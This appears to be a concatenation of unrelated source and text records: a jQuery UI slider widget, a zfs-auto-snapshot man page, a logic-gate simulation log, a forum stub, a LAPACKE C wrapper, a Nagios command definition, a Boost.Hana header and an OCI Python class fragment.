= position.y - this.elementOffset.top - ( this._clickOffset ? this._clickOffset.top : 0 );\n\t\t}\n\n\t\tpercentMouse = ( pixelMouse / pixelTotal );\n\t\tif ( percentMouse > 1 ) {\n\t\t\tpercentMouse = 1;\n\t\t}\n\t\tif ( percentMouse < 0 ) {\n\t\t\tpercentMouse = 0;\n\t\t}\n\t\tif ( this.orientation === \"vertical\" ) {\n\t\t\tpercentMouse = 1 - percentMouse;\n\t\t}\n\n\t\tvalueTotal = this._valueMax() - this._valueMin();\n\t\tvalueMouse = this._valueMin() + percentMouse * valueTotal;\n\n\t\treturn this._trimAlignValue( valueMouse );\n\t},\n\n\t_start: function( event, index ) {\n\t\tvar uiHash = {\n\t\t\thandle: this.handles[ index ],\n\t\t\tvalue: this.value()\n\t\t};\n\t\tif ( this.options.values && this.options.values.length ) {\n\t\t\tuiHash.value = this.values( index );\n\t\t\tuiHash.values = this.values();\n\t\t}\n\t\treturn this._trigger( \"start\", event, uiHash );\n\t},\n\n\t_slide: function( event, index, newVal ) {\n\t\tvar otherVal,\n\t\t\tnewValues,\n\t\t\tallowed;\n\n\t\tif ( this.options.values && this.options.values.length ) {\n\t\t\totherVal = this.values( index ? 0 : 1 );\n\n\t\t\tif ( ( this.options.values.length === 2 && this.options.range === true ) &&\n\t\t\t\t\t( ( index === 0 && newVal > otherVal) || ( index === 1 && newVal < otherVal ) )\n\t\t\t\t) {\n\t\t\t\tnewVal = otherVal;\n\t\t\t}\n\n\t\t\tif ( newVal !== this.values( index ) ) {\n\t\t\t\tnewValues = this.values();\n\t\t\t\tnewValues[ index ] = newVal;\n\t\t\t\t// A slide can be canceled by returning false from the slide callback\n\t\t\t\tallowed = this._trigger( \"slide\", event, {\n\t\t\t\t\thandle: this.handles[ index ],\n\t\t\t\t\tvalue: newVal,\n\t\t\t\t\tvalues: newValues\n\t\t\t\t} );\n\t\t\t\totherVal = this.values( index ? 0 : 1 );\n\t\t\t\tif ( allowed !== false ) {\n\t\t\t\t\tthis.values( index, newVal );\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif ( newVal !== this.value() ) {\n\t\t\t\t// A slide can be canceled by returning false from the slide callback\n\t\t\t\tallowed = this._trigger( \"slide\", event, {\n\t\t\t\t\thandle: this.handles[ index ],\n\t\t\t\t\tvalue: newVal\n\t\t\t\t} );\n\t\t\t\tif ( allowed !== false ) {\n\t\t\t\t\tthis.value( newVal );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t_stop: function( event, index ) {\n\t\tvar uiHash = {\n\t\t\thandle: this.handles[ index ],\n\t\t\tvalue: this.value()\n\t\t};\n\t\tif ( this.options.values && this.options.values.length ) {\n\t\t\tuiHash.value = this.values( index );\n\t\t\tuiHash.values = this.values();\n\t\t}\n\n\t\tthis._trigger( \"stop\", event, uiHash );\n\t},\n\n\t_change: function( event, index ) {\n\t\tif ( !this._keySliding && !this._mouseSliding ) {\n\t\t\tvar uiHash = {\n\t\t\t\thandle: this.handles[ index ],\n\t\t\t\tvalue: this.value()\n\t\t\t};\n\t\t\tif ( this.options.values && this.options.values.length ) {\n\t\t\t\tuiHash.value = this.values( index );\n\t\t\t\tuiHash.values = this.values();\n\t\t\t}\n\n\t\t\t//store the last changed value index for reference when handles overlap\n\t\t\tthis._lastChangedValue = index;\n\n\t\t\tthis._trigger( \"change\", event, uiHash );\n\t\t}\n\t},\n\n\tvalue: function( newValue ) {\n\t\tif ( arguments.length ) {\n\t\t\tthis.options.value = this._trimAlignValue( newValue );\n\t\t\tthis._refreshValue();\n\t\t\tthis._change( null, 0 );\n\t\t\treturn;\n\t\t}\n\n\t\treturn this._value();\n\t},\n\n\tvalues: function( index, newValue ) {\n\t\tvar vals,\n\t\t\tnewValues,\n\t\t\ti;\n\n\t\tif ( arguments.length > 1 ) {\n\t\t\tthis.options.values[ index ] = this._trimAlignValue( newValue );\n\t\t\tthis._refreshValue();\n\t\t\tthis._change( null, index );\n\t\t\treturn;\n\t\t}\n\n\t\tif ( arguments.length ) {\n\t\t\tif ( $.isArray( arguments[ 0 ] ) ) {\n\t\t\t\tvals = this.options.values;\n\t\t\t\tnewValues = arguments[ 0 ];\n\t\t\t\tfor ( i = 0; i < vals.length; i += 1 ) {\n\t\t\t\t\tvals[ i ] = this._trimAlignValue( newValues[ i ] );\n\t\t\t\t\tthis._change( null, i );\n\t\t\t\t}\n\t\t\t\tthis._refreshValue();\n\t\t\t} else {\n\t\t\t\tif ( this.options.values && this.options.values.length ) {\n\t\t\t\t\treturn this._values( index );\n\t\t\t\t} else {\n\t\t\t\t\treturn this.value();\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\treturn this._values();\n\t\t}\n\t},\n\n\t_setOption: function( key, value ) {\n\t\tvar i,\n\t\t\tvalsLength = 0;\n\n\t\tif ( key === \"range\" && this.options.range === true ) {\n\t\t\tif ( value === \"min\" ) {\n\t\t\t\tthis.options.value = this._values( 0 );\n\t\t\t\tthis.options.values = null;\n\t\t\t} else if ( value === \"max\" ) {\n\t\t\t\tthis.options.value = this._values( this.options.values.length - 1 );\n\t\t\t\tthis.options.values = null;\n\t\t\t}\n\t\t}\n\n\t\tif ( $.isArray( this.options.values ) ) {\n\t\t\tvalsLength = this.options.values.length;\n\t\t}\n\n\t\tif ( key === \"disabled\" ) {\n\t\t\tthis.element.toggleClass( \"ui-state-disabled\", !!value );\n\t\t}\n\n\t\tthis._super( key, value );\n\n\t\tswitch ( key ) {\n\t\t\tcase \"orientation\":\n\t\t\t\tthis._detectOrientation();\n\t\t\t\tthis.element\n\t\t\t\t\t.removeClass( \"ui-slider-horizontal ui-slider-vertical\" )\n\t\t\t\t\t.addClass( \"ui-slider-\" + this.orientation );\n\t\t\t\tthis._refreshValue();\n\n\t\t\t\t// Reset positioning from previous orientation\n\t\t\t\tthis.handles.css( value === \"horizontal\" ? \"bottom\" : \"left\", \"\" );\n\t\t\t\tbreak;\n\t\t\tcase \"value\":\n\t\t\t\tthis._animateOff = true;\n\t\t\t\tthis._refreshValue();\n\t\t\t\tthis._change( null, 0 );\n\t\t\t\tthis._animateOff = false;\n\t\t\t\tbreak;\n\t\t\tcase \"values\":\n\t\t\t\tthis._animateOff = true;\n\t\t\t\tthis._refreshValue();\n\t\t\t\tfor ( i = 0; i < valsLength; i += 1 ) {\n\t\t\t\t\tthis._change( null, i );\n\t\t\t\t}\n\t\t\t\tthis._animateOff = false;\n\t\t\t\tbreak;\n\t\t\tcase \"step\":\n\t\t\tcase \"min\":\n\t\t\tcase \"max\":\n\t\t\t\tthis._animateOff = true;\n\t\t\t\tthis._calculateNewMax();\n\t\t\t\tthis._refreshValue();\n\t\t\t\tthis._animateOff = false;\n\t\t\t\tbreak;\n\t\t\tcase \"range\":\n\t\t\t\tthis._animateOff = true;\n\t\t\t\tthis._refresh();\n\t\t\t\tthis._animateOff = false;\n\t\t\t\tbreak;\n\t\t}\n\t},\n\n\t//internal value getter\n\t// _value() returns value trimmed by min and max, aligned by step\n\t_value: function() {\n\t\tvar val = this.options.value;\n\t\tval = this._trimAlignValue( val );\n\n\t\treturn val;\n\t},\n\n\t//internal values getter\n\t// _values() returns array of values trimmed by min and max, aligned by step\n\t// _values( index ) returns single value trimmed by min and max, aligned by step\n\t_values: function( index ) {\n\t\tvar val,\n\t\t\tvals,\n\t\t\ti;\n\n\t\tif ( arguments.length ) {\n\t\t\tval = this.options.values[ index ];\n\t\t\tval = this._trimAlignValue( val );\n\n\t\t\treturn val;\n\t\t} else if ( this.options.values && this.options.values.length ) {\n\t\t\t// .slice() creates a copy of the array\n\t\t\t// this copy gets trimmed by min and max and then returned\n\t\t\tvals = this.options.values.slice();\n\t\t\tfor ( i = 0; i < vals.length; i += 1) {\n\t\t\t\tvals[ i ] = this._trimAlignValue( vals[ i ] );\n\t\t\t}\n\n\t\t\treturn vals;\n\t\t} else {\n\t\t\treturn [];\n\t\t}\n\t},\n\n\t// returns the step-aligned value that val is closest to, between (inclusive) min and max\n\t_trimAlignValue: function( val ) {\n\t\tif ( val <= this._valueMin() ) {\n\t\t\treturn this._valueMin();\n\t\t}\n\t\tif ( val >= this._valueMax() ) {\n\t\t\treturn this._valueMax();\n\t\t}\n\t\tvar step = ( this.options.step > 0 ) ? this.options.step : 1,\n\t\t\tvalModStep = (val - this._valueMin()) % step,\n\t\t\talignValue = val - valModStep;\n\n\t\tif ( Math.abs(valModStep) * 2 >= step ) {\n\t\t\talignValue += ( valModStep > 0 ) ? step : ( -step );\n\t\t}\n\n\t\t// Since JavaScript has problems with large floats, round\n\t\t// the final value to 5 digits after the decimal point (see #4124)\n\t\treturn parseFloat( alignValue.toFixed(5) );\n\t},\n\n\t_calculateNewMax: function() {\n\t\tvar max = this.options.max,\n\t\t\tmin = this._valueMin(),\n\t\t\tstep = this.options.step,\n\t\t\taboveMin = Math.floor( ( +( max - min ).toFixed( this._precision() ) ) / step ) * step;\n\t\tmax = aboveMin + min;\n\t\tthis.max = parseFloat( max.toFixed( this._precision() ) );\n\t},\n\n\t_precision: function() {\n\t\tvar precision = this._precisionOf( this.options.step );\n\t\tif ( this.options.min !== null ) {\n\t\t\tprecision = Math.max( precision, this._precisionOf( this.options.min ) );\n\t\t}\n\t\treturn precision;\n\t},\n\n\t_precisionOf: function( num ) {\n\t\tvar str = num.toString(),\n\t\t\tdecimal = str.indexOf( \".\" );\n\t\treturn decimal === -1 ? 0 : str.length - decimal - 1;\n\t},\n\n\t_valueMin: function() {\n\t\treturn this.options.min;\n\t},\n\n\t_valueMax: function() {\n\t\treturn this.max;\n\t},\n\n\t_refreshValue: function() {\n\t\tvar lastValPercent, valPercent, value, valueMin, valueMax,\n\t\t\toRange = this.options.range,\n\t\t\to = this.options,\n\t\t\tthat = this,\n\t\t\tanimate = ( !this._animateOff ) ? o.animate : false,\n\t\t\t_set = {};\n\n\t\tif ( this.options.values && this.options.values.length ) {\n\t\t\tthis.handles.each(function( i ) {\n\t\t\t\tvalPercent = ( that.values(i) - that._valueMin() ) / ( that._valueMax() - that._valueMin() ) * 100;\n\t\t\t\t_set[ that.orientation === \"horizontal\" ? \"left\" : \"bottom\" ] = valPercent + \"%\";\n\t\t\t\t$( this ).stop( 1, 1 )[ animate ? \"animate\" : \"css\" ]( _set, o.animate );\n\t\t\t\tif ( that.options.range === true ) {\n\t\t\t\t\tif ( that.orientation === \"horizontal\" ) {\n\t\t\t\t\t\tif ( i === 0 ) {\n\t\t\t\t\t\t\tthat.range.stop( 1, 1 )[ animate ? \"animate\" : \"css\" ]( { left: valPercent + \"%\" }, o.animate );\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( i === 1 ) {\n\t\t\t\t\t\t\tthat.range[ animate ? \"animate\" : \"css\" ]( { width: ( valPercent - lastValPercent ) + \"%\" }, { queue: false, duration: o.animate } );\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ( i === 0 ) {\n\t\t\t\t\t\t\tthat.range.stop( 1, 1 )[ animate ? \"animate\" : \"css\" ]( { bottom: ( valPercent ) + \"%\" }, o.animate );\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( i === 1 ) {\n\t\t\t\t\t\t\tthat.range[ animate ? \"animate\" : \"css\" ]( { height: ( valPercent - lastValPercent ) + \"%\" }, { queue: false, duration: o.animate } );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlastValPercent = valPercent;\n\t\t\t});\n\t\t} else {\n\t\t\tvalue = this.value();\n\t\t\tvalueMin = this._valueMin();\n\t\t\tvalueMax = this._valueMax();\n\t\t\tvalPercent = ( valueMax !== valueMin ) ?\n\t\t\t\t\t( value - valueMin ) / ( valueMax - valueMin ) * 100 :\n\t\t\t\t\t0;\n\t\t\t_set[ this.orientation === \"horizontal\" ? \"left\" : \"bottom\" ] = valPercent + \"%\";\n\t\t\tthis.handle.stop( 1, 1 )[ animate ? \"animate\" : \"css\" ]( _set, o.animate );\n\n\t\t\tif ( oRange === \"min\" && this.orientation === \"horizontal\" ) {\n\t\t\t\tthis.range.stop( 1, 1 )[ animate ? \"animate\" : \"css\" ]( { width: valPercent + \"%\" }, o.animate );\n\t\t\t}\n\t\t\tif ( oRange === \"max\" && this.orientation === \"horizontal\" ) {\n\t\t\t\tthis.range[ animate ? \"animate\" : \"css\" ]( { width: ( 100 - valPercent ) + \"%\" }, { queue: false, duration: o.animate } );\n\t\t\t}\n\t\t\tif ( oRange === \"min\" && this.orientation === \"vertical\" ) {\n\t\t\t\tthis.range.stop( 1, 1 )[ animate ? \"animate\" : \"css\" ]( { height: valPercent + \"%\" }, o.animate );\n\t\t\t}\n\t\t\tif ( oRange === \"max\" && this.orientation === \"vertical\" ) {\n\t\t\t\tthis.range[ animate ? \"animate\" : \"css\" ]( { height: ( 100 - valPercent ) + \"%\" }, { queue: false, duration: o.animate } );\n\t\t\t}\n\t\t}\n\t},\n\n\t_handleEvents: {\n\t\tkeydown: function( event ) {\n\t\t\tvar allowed, curVal, newVal, step,\n\t\t\t\tindex = $( event.target ).data( \"ui-slider-handle-index\" );\n\n\t\t\tswitch ( event.keyCode ) {\n\t\t\t\tcase $.ui.keyCode.HOME:\n\t\t\t\tcase $.ui.keyCode.END:\n\t\t\t\tcase $.ui.keyCode.PAGE_UP:\n\t\t\t\tcase $.ui.keyCode.PAGE_DOWN:\n\t\t\t\tcase $.ui.keyCode.UP:\n\t\t\t\tcase $.ui.keyCode.RIGHT:\n\t\t\t\tcase $.ui.keyCode.DOWN:\n\t\t\t\tcase $.ui.keyCode.LEFT:\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\tif ( !this._keySliding ) {\n\t\t\t\t\t\tthis._keySliding = true;\n\t\t\t\t\t\t$( event.target ).addClass( \"ui-state-active\" );\n\t\t\t\t\t\tallowed = this._start( event, index );\n\t\t\t\t\t\tif ( allowed === false ) {\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tstep = this.options.step;\n\t\t\tif ( this.options.values && this.options.values.length ) {\n\t\t\t\tcurVal = newVal = this.values( index );\n\t\t\t} else {\n\t\t\t\tcurVal = newVal = this.value();\n\t\t\t}\n\n\t\t\tswitch ( event.keyCode ) {\n\t\t\t\tcase $.ui.keyCode.HOME:\n\t\t\t\t\tnewVal = this._valueMin();\n\t\t\t\t\tbreak;\n\t\t\t\tcase $.ui.keyCode.END:\n\t\t\t\t\tnewVal = this._valueMax();\n\t\t\t\t\tbreak;\n\t\t\t\tcase $.ui.keyCode.PAGE_UP:\n\t\t\t\t\tnewVal = this._trimAlignValue(\n\t\t\t\t\t\tcurVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages )\n\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\t\t\t\tcase $.ui.keyCode.PAGE_DOWN:\n\t\t\t\t\tnewVal = this._trimAlignValue(\n\t\t\t\t\t\tcurVal - ( (this._valueMax() - this._valueMin()) / this.numPages ) );\n\t\t\t\t\tbreak;\n\t\t\t\tcase $.ui.keyCode.UP:\n\t\t\t\tcase $.ui.keyCode.RIGHT:\n\t\t\t\t\tif ( curVal === this._valueMax() ) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tnewVal = this._trimAlignValue( curVal + step );\n\t\t\t\t\tbreak;\n\t\t\t\tcase $.ui.keyCode.DOWN:\n\t\t\t\tcase $.ui.keyCode.LEFT:\n\t\t\t\t\tif ( curVal === this._valueMin() ) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tnewVal = this._trimAlignValue( curVal - step );\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tthis._slide( event, index, newVal );\n\t\t},\n\t\tkeyup: function( event ) {\n\t\t\tvar index = $( event.target ).data( \"ui-slider-handle-index\" );\n\n\t\t\tif ( this._keySliding ) {\n\t\t\t\tthis._keySliding = false;\n\t\t\t\tthis._stop( event, index );\n\t\t\t\tthis._change( event, index );\n\t\t\t\t$( event.target ).removeClass( \"ui-state-active\" );\n\t\t\t}\n\t\t}\n\t}\n});\n\n}));\n"} +{"text": ".TH ZFS-AUTO-SNAPSHOT \"8\" \"June 16, 2013\" \"zfs-auto-snapshot.sh\" \"System Administration Commands\"\n.SH NAME\nzfs-auto-snapshot \\- take regular ZFS snapshots\n.SH SYNOPSIS\n.B zfs-auto-snapshot\n[\\fIoptions\\fR] [\\fI-l label\\fR] \\fI<'//' | name \\fR[\\fIname\\fR...]\\fI>\\fR\n.SH DESCRIPTION\n.B zfs-auto-snapshot\nautomatically creates, rotates, and destroys snapshots for all your\nZFS datasets, and is compatible with both zfsonlinux and zfs-fuse.\n.SH OPTIONS\n.TP\n\\fB\\-\\-default\\-exclude\\fR\nBy default \\fBzfs-auto-snapshot\\fR will snapshot all datasets except\nfor those in which the user-property \\fBcom.sun:auto-snapshot\\fR is\nset to \\fBfalse\\fR. This option reverses the behavior and requires\n\\fBcom.sun:auto-snapshot\\fR to be set to \\fBtrue\\fR.\n.TP\n\\fB\\-d\\fR, \\fB\\-\\-debug\\fR\nPrint debugging messages.\n.TP\n\\fB\\-e\\fR, \\fB\\-\\-event\\fR=\\fIEVENT\\fR\nSet the com.sun:auto\\-snapshot\\-desc property to EVENT.\n.TP\n\\fB\\-\\-fast\\fR\nUse a faster zfs list invocation.\n.TP\n\\fB\\-n\\fR, \\fB\\-\\-dry\\-run\\fR\nPrint actions without actually doing anything.\n.TP\n\\fB\\-s\\fR, \\fB\\-\\-skip\\-scrub\\fR\nDo not snapshot filesystems in scrubbing pools.\n.TP\n\\fB\\-h\\fR, \\fB\\-\\-help\\fR\nPrint the usage message.\n.TP\n\\fB\\-k\\fR, \\fB\\-\\-keep\\fR=\\fINUM\\fR\nKeep NUM recent snapshots and destroy older snapshots.\n.TP\n\\fB\\-l\\fR, \\fB\\-\\-label\\fR=\\fILAB\\fR\nLAB is usually 'hourly', 'daily', or 'monthly'.\n.TP\n\\fB\\-p\\fR, \\fB\\-\\-prefix\\fR=\\fIPRE\\fR\nPRE is 'zfs\\-auto\\-snap' by default.\n.TP\n\\fB\\-q\\fR, \\fB\\-\\-quiet\\fR\nSuppress warnings and notices at the console.\n.TP\n\\fB\\-\\-send\\-full\\fR=\\fIF\\fR\nSend zfs full backup. Unimplemented.\n.TP\n\\fB\\-\\-send\\-incr\\fR=\\fIF\\fR\nSend zfs incremental backup. Unimplemented.\n.TP\n\\fB\\-\\-sep\\fR=\\fICHAR\\fR\nUse CHAR to separate date stamps in snapshot names.\n.TP\n\\fB\\-g\\fR, \\fB\\-\\-syslog\\fR\nWrite messages into the system log.\n.TP\n\\fB\\-r\\fR, \\fB\\-\\-recursive\\fR\nSnapshot named filesystem and all descendants.\n.TP\n\\fB\\-v\\fR, \\fB\\-\\-verbose\\fR\nPrint info messages.\n.TP\n\\fB\\-\\-pre-snapshot\\fR=\\fICOMMAND\\fR\nCommand to run before each dataset is snapshotted. \nIt is passed the dataset and snapshot name. If it\nreturns non-zero, snapshotting this dataset is \naborted.\n.TP\n\\fB\\-\\-post-snapshot\\fR=\\fICOMMAND\\fR\nCommand to run after each dataset is snapshotted. \nIt is passed the dataset and snapshot name.\n.TP\n\\fB\\-\\-destroy-only\\fR\nDo not create new snapshots, but do destroy older \nsnapshots. Has no effect unless used with \\fB\\-k\\fR.\n.IP\nA non-obvious use may be construction of cron jobs or\nscripts that run pre-snapshot command(s), then run \nzfs-auto-snapshot (without \\fB\\-k\\fR) to quickly\nsnapshot all datasets, then run post-snapshot\ncommand(s) and clean up with zfs-auto-snapshot\n\\fB\\-\\-destroy-only\\fR.\n.TP\nname\nFilesystem and volume names, or '//' for all ZFS datasets.\n.SH SEE ALSO\n.BR zfs (8)\n"} +{"text": "x = abc\ncount = 111\nx = hello\ncount = 112\n\naccount deposit 50 -> undefined\naccount withdraw 20 -> 30\naccount withdraw 20 -> 10\naccount withdraw 15 -> \n\nx deposit 30 -> undefined\ny withdraw 20 -> \n\nx deposit 30 -> undefined\nx withdraw 20 -> 10\n\nx deposit 30 -> undefined\ny withdraw 20 -> 10\n\n2^0 = 1\n2^1 = 2\n2^2 = 4\n2^3 = 8\n\n2^0 = 1\n2^1 = 2\n2^2 = 4\n2^3 = 8\n\n1 2 3 \nList(1, 2, 3)\n\nout 0 new-value = false\n*** simulation started ***\nout 1 new-value = true\n!0 = 1\n\n*** simulation started ***\nout 2 new-value = false\n!1 = 0\n\nout 2 new-value = false\n\n*** simulation started ***\n0 & 0 = 0\n\n*** simulation started ***\n0 & 1 = 0\n\n*** simulation started ***\nout 11 new-value = true\nout 11 new-value = false\n1 & 0 = 0\n\n*** simulation started ***\nout 14 new-value = true\n1 & 1 = 1\n\nout 14 new-value = false\n\n*** simulation started ***\n0 | 0 = 0\n\n*** simulation started ***\nout 24 new-value = true\n0 | 1 = 1\n\n*** simulation started ***\n1 | 0 = 1\n\n*** simulation started ***\n1 | 1 = 1\n\nsum 34 new-value = false\ncarry 34 new-value = false\n\n*** simulation started ***\n0 + 0 = 0\n\n*** simulation started ***\nsum 47 new-value = true\n0 + 1 = 1\n\n*** simulation started ***\ncarry 50 new-value = true\ncarry 50 new-value = false\nsum 54 new-value = false\nsum 54 new-value = true\n1 + 0 = 1\n\n*** simulation started ***\ncarry 57 new-value = true\nsum 61 new-value = false\n1 + 1 = 2\n\nsum 61 new-value = false\ncarry 61 new-value = false\n\n*** simulation started ***\n0 + 0 + 0 = 0\n\n*** simulation started ***\nsum 82 new-value = true\n0 + 0 + 1 = 1\n\n*** simulation started ***\nsum 89 new-value = false\ncarry 90 new-value = true\nsum 97 new-value = true\ncarry 98 new-value = false\n0 + 1 + 0 = 1\n\n*** simulation started ***\nsum 113 new-value = false\ncarry 114 new-value = true\n0 + 1 + 1 = 2\n\n*** simulation started ***\nsum 121 new-value = true\ncarry 122 new-value = false\nsum 129 new-value = false\nsum 129 new-value = true\n1 + 0 + 0 = 1\n\n*** simulation started ***\ncarry 137 new-value = true\nsum 144 new-value = false\n1 + 0 + 1 = 2\n\n*** simulation started ***\ncarry 152 new-value = false\nsum 152 new-value = true\nsum 158 new-value = false\ncarry 159 new-value = true\n1 + 1 + 0 = 2\n\n*** simulation started ***\nsum 173 new-value = true\n1 + 1 + 1 = 3\n\nin 0 new-value = false\nctrl0 0 new-value = false\nctrl1 0 new-value = false\nctrl2 0 new-value = false\nout0 0 new-value = false\nout1 0 new-value = false\nout2 0 new-value = false\nout3 0 new-value = false\nout4 0 new-value = false\nout5 0 new-value = false\nout6 0 new-value = false\nout7 0 new-value = false\nin 0 new-value = true\n*** simulation started ***\nout0 10 new-value = true\nctrl0 10 new-value = true\n*** simulation started ***\nout1 13 new-value = true\nout0 14 new-value = false\nctrl1 14 new-value = true\n*** simulation started ***\nout3 20 new-value = true\nout1 21 new-value = false\nctrl2 21 new-value = true\n*** simulation started ***\nout7 30 new-value = true\nout3 31 new-value = false\nctrl0 31 new-value = false\n*** simulation started ***\nout7 34 new-value = false\nout6 35 new-value = true\n"} +{"text": "Off-Topic • Re: Lustige Videos, Flashs, gifs, etc.\n==================================================\n\nDate: 2013-05-14 11:56:40\n\n\n\nStatistik: Verfasst von\n[Orbiter](http://forum.yacy-websuche.de/memberlist.php?mode=viewprofile&u=2)\n--- Di Mai 14, 2013 10:56 am\n\n------------------------------------------------------------------------\n"} +{"text": "/*****************************************************************************\n Copyright (c) 2014, Intel Corp.\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n * Neither the name of Intel Corporation nor the names of its contributors\n may be used to endorse or promote products derived from this software\n without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n THE POSSIBILITY OF SUCH DAMAGE.\n*****************************************************************************\n* Contents: Native high-level C interface to LAPACK function sggsvd3\n* Author: Intel Corporation\n* Generated August, 2015\n*****************************************************************************/\n\n#include \"lapacke_utils.h\"\n\nlapack_int LAPACKE_sggsvd3( int matrix_layout, char jobu, char jobv, char jobq,\n lapack_int m, lapack_int n, lapack_int p,\n lapack_int* k, lapack_int* l, float* a,\n lapack_int lda, float* b, lapack_int ldb,\n float* alpha, float* beta, float* u, lapack_int ldu,\n float* v, lapack_int ldv, float* q, lapack_int ldq,\n lapack_int* iwork )\n{\n lapack_int info = 0;\n float* work = NULL;\n lapack_int lwork = -1;\n float work_query;\n if( matrix_layout != LAPACK_COL_MAJOR && matrix_layout != LAPACK_ROW_MAJOR ) {\n LAPACKE_xerbla( \"LAPACKE_sggsvd3\", -1 );\n return -1;\n }\n#ifndef LAPACK_DISABLE_NAN_CHECK\n if( LAPACKE_get_nancheck() ) {\n /* Optionally check input matrices for NaNs */\n if( LAPACKE_sge_nancheck( matrix_layout, m, n, a, lda ) ) {\n return -10;\n }\n if( LAPACKE_sge_nancheck( matrix_layout, p, n, b, ldb ) ) {\n return -12;\n }\n }\n#endif\n /* Query optimal working array(s) size if requested */\n info = LAPACKE_sggsvd3_work( matrix_layout, jobu, jobv, jobq, m, n, p,\n k, l, a, lda, b, ldb, alpha, beta, u, ldu,\n v, ldv, q, ldq, &work_query, lwork, iwork );\n if( info != 0 )\n goto exit_level_0;\n lwork = work_query;\n /* Allocate memory for working array(s) */\n work = (float*)LAPACKE_malloc( sizeof(float) * lwork );\n if( work == NULL ) {\n info = LAPACK_WORK_MEMORY_ERROR;\n goto exit_level_0;\n }\n /* Call middle-level interface */\n info = LAPACKE_sggsvd3_work( matrix_layout, jobu, jobv, jobq, m, n, p, k, l,\n a, lda, b, ldb, alpha, beta, u, ldu, v, ldv, q,\n ldq, work, lwork, iwork );\n /* Release memory and exit */\n LAPACKE_free( work );\nexit_level_0:\n if( info == LAPACK_WORK_MEMORY_ERROR ) {\n LAPACKE_xerbla( \"LAPACKE_sggsvd3\", info );\n }\n return info;\n}\n"} +{"text": "# DB check_command for Sakuli\n# --name = Suite ID\n# --name2 = number of seconds the last result is allowed to be old\ndefine command {\n command_name check_sakuli\n command_line $USER1$/check_mysql_health \\\n --hostname=$USER16$ \\\n --database=$USER10$ \\\n --username=$USER11$ \\\n --password=$USER12$ \\\n --mode=my-sakuli-suite \\\n --name='$ARG1$' \\\n --name2=$ARG2$ \\\n --report=html \\\n --port=$USER13$ \\\n --with-mymodules-dyn-dir=$USER15$\n}\n"} +{"text": "/*!\n@file\nDefines `boost::hana::unfold_left`.\n\n@copyright Louis Dionne 2013-2017\nDistributed under the Boost Software License, Version 1.0.\n(See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)\n */\n\n#ifndef BOOST_HANA_UNFOLD_LEFT_HPP\n#define BOOST_HANA_UNFOLD_LEFT_HPP\n\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\nBOOST_HANA_NAMESPACE_BEGIN\n //! @cond\n template \n struct unfold_left_t {\n #ifndef BOOST_HANA_CONFIG_DISABLE_CONCEPT_CHECKS\n static_assert(hana::Sequence::value,\n \"hana::unfold_left requires 'S' to be a Sequence\");\n #endif\n\n template \n constexpr auto operator()(State&& state, F&& f) const {\n return unfold_left_impl::apply(\n static_cast(state),\n static_cast(f)\n );\n }\n };\n //! @endcond\n\n template \n struct unfold_left_impl> : default_ {\n struct unfold_left_helper {\n template \n constexpr auto operator()(F&& f, P&& p) const {\n return hana::append(\n unfold_left_impl::apply(\n hana::first(static_cast(p)),\n static_cast(f)\n ),\n hana::second(static_cast(p))\n );\n }\n };\n\n template \n static constexpr auto apply(Init&& init, F&& f) {\n decltype(auto) elt = f(static_cast(init));\n return hana::maybe(empty(),\n hana::partial(unfold_left_helper{}, static_cast(f)),\n static_cast(elt)\n );\n }\n };\nBOOST_HANA_NAMESPACE_END\n\n#endif // !BOOST_HANA_UNFOLD_LEFT_HPP\n"} +{"text": "# coding: utf-8\n# Copyright (c) 2016, 2020, Oracle and/or its affiliates. All rights reserved.\n# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.\n\nfrom .discovery_details import DiscoveryDetails\nfrom oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401\nfrom oci.decorators import init_model_state_from_kwargs\n\n\n@init_model_state_from_kwargs\nclass SoacsDiscoveryDetails(DiscoveryDetails):\n \"\"\"\n Specifies the credentials to access the source SOACS instance\n 